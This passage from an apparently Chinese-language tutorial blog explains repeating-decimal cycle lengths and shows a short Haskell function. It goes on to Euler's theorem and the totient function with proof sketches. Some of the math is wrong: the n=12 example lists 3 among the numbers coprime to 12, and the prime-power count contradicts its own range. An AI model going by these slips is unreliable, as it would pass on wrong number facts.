class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8247em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mathnormal mtight">in</span></span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size1">)</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.7693em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><p>观察到，循环节的长度 n 和分母有关，或者说由分母决定。只要能把分母转化成<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7477em;vertical-align:-0.0833em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>的形式，那么一定是循环小数。也就是说，对于分数 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">a</span><span class="mord">/</span><span class="mord mathnormal">b</span></span></span></span>，找到正整数<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>，使得<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">b</span><span class="mord">∣1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>，那么这个 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 就是循环节。</p><p>代码如下，需要避免整数溢出：</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- Improved version of recurCycle that utilizes an infinite list of numbers composed entirely of 9s to find the cycle length.</span></span><br><span class="line"><span class="title">recurCycleImprove</span> :: <span class="type">Integer</span> -&gt; <span class="type">Int</span></span><br><span class="line"><span class="title">recurCycleImprove</span> deno</span><br><span class="line">  | any ((== <span class="number">0</span>) . mod deno) [<span class="number">2</span>, <span class="number">5</span>] = <span class="number">0</span> <span class="comment">-- Returns 0 immediately if deno is a multiple of 2 or 5.</span></span><br><span class="line">  | otherwise = maybe <span class="number">0</span> (+ <span class="number">1</span>) (findIndex ((== <span class="number">0</span>) . (`mod` deno)) all9s) <span class="comment">-- Finds the cycle length using an index in the all9s list.</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- Generates an infinite list of integers where each integer is composed entirely of 9s.</span></span><br><span class="line"><span class="title">all9s</span> :: [<span class="type">Integer</span>]</span><br><span class="line"><span class="title">all9s</span> = map (\n -&gt; <span class="number">10</span> ^ n - <span class="number">1</span>) [<span class="number">1</span> :: <span class="type">Integer</span> ..]</span><br></pre></td></tr></table></figure><h3 id="背景知识">背景知识</h3><h3 id="欧拉定理描述">欧拉定理描述</h3><p>首先学习欧拉定理（数论），欧拉定理表明，若 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">n</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">a</span></span></span></span> 为正整数，且互质，那么有</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.938em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.938em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">φ</span><span class="mopen mtight">(</span><span class="mord mathnormal mtight">n</span><span class="mclose mtight">)</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathrm">mod</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal">n</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></span></p><p>其中 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">φ</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">n</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span> 表示小于 n 的正整数中和 n 互质的数，而且满足</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">φ</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">n</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-symbol large-op" style="position:relative;top:0em;">∏</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">p</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.8804em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span></span></span></span></span></span></p><p>其中 p 取 n 的所有质因子。比如说<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">12</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8974em;vertical-align:-0.0833em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">3</span></span></span></span> ，互质的数为<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">{</span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">5</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">7</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">11</span><span class="mclose delimcenter" style="top:0em;">}</span></span></span></span></span>，恰好</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">12</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">3</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">4</span></span></span></span></span></p><h3 id="欧拉定理证明">欧拉定理证明</h3><blockquote><p>相关背景知识，可见：<a href="https://zhuanlan.zhihu.com/p/35060143">初等数论笔记 Part 1： 欧拉定理</a></p></blockquote><p><strong>欧拉函数的证明</strong>，分成各种情况：</p><h4 id="素数幂">素数幂</h4><p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8588em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">a</span></span></span></span></span></span></span></span></span></span></span> 显然只有 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal">p</span></span></span></span> 与 n 有除 1 以外的公因数，k 取 1 到 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0085em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> 共 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0085em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span></span></span></span>个数，所以</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">φ</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7144em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">a</span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9088em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7144em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">a</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0585em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7144em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">a</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">p</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.8804em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span></span></span></span></span></p><h4 id="互质的整数的乘积">互质的整数的乘积</h4><p>如果 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> 和 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 是互质的整数，则 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">φ</span><span class="mopen">(</span><span class="mord mathnormal">mn</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">φ</span><span class="mopen">(</span><span class="mord mathnormal">m</span><span class="mclose">)</span><span class="mord mathnormal">φ</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span>。这是因为由于 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> 和 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 互质，小于 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">mn</span></span></span></span> 的整数中与 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">mn</span></span></span></span> 互质的整数，可以通过取小于 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> 的与 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> 互质的整数，与小于 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 的与 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 互质的整数，的所有可能组合来构造。</p><p>我们需要考虑由 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> 和 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 形成的整数对格点，并分析这些点中有多少是与 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">mn</span></span></span></span> 互质的。具体步骤如下：</p><ol><li><strong>整数对的构造</strong>：<br>考虑由 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> 和 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 形成的 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">mn</span></span></span></span> 个整数对 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">i</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mclose">)</span></span></span></span>，其中 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7804em;vertical-align:-0.136em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7955em;vertical-align:-0.136em;"></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> 和 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7804em;vertical-align:-0.136em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.854em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>。如果<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.854em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">ij</span></span></span></span> 与<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">mn</span></span></span></span>互质，称作<strong>互质点</strong>，这些整数对可以视为一个 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 的矩形格点图。</li><li><strong>互质点的计数</strong>：<br>对于每个整数对 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">i</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mclose">)</span></span></span></span>，我们需要判断 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">mn</span></span></span></span> 是否与 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.854em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">ij</span></span></span></span> 互质。因为 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> 和 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 互质，显然 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span></span></span></span> 必须与<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span>互质，<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.854em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span></span></span></span>与 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>互质，才会有 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.854em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">ij</span></span></span></span>与<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">mn</span></span></span></span>互质，否则就存在公因数了。所以互质点最多<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">φ</span><span class="mopen">(</span><span class="mord mathnormal">m</span><span class="mclose">)</span><span class="mord mathnormal">φ</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span>个。</li><li><strong>独立互质点的乘积</strong>：<br>在 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> 中与 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> 互质的整数数量为 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">φ</span><span class="mopen">(</span><span class="mord mathnormal">m</span><span class="mclose">)</span></span></span></span>，在 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 中与 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 互质的整数数量为 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">φ</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span>。这些互质的整数可以独立地在 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> 和 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 的范围内选择，而且不会影响对方的选择，所以互质点最少有<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">φ</span><span class="mopen">(</span><span class="mord mathnormal">m</span><span class="mclose">)</span><span class="mord mathnormal">φ</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span>个。</li></ol><p>因此，与 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">mn</span></span></span></span> 互质的整数对 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">i</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mclose">)</span></span></span></span> 的总数就是 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">φ</span><span class="mopen">(</span><span class="mord mathnormal">m</span><span class="mclose">)</span></span></span></span> 和 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">φ</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span> 的乘积，即 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">φ</span><span class="mopen">(</span><span class="mord mathnormal">m</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">φ</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span>。综上所述，我们得出 <span class="katex"><span 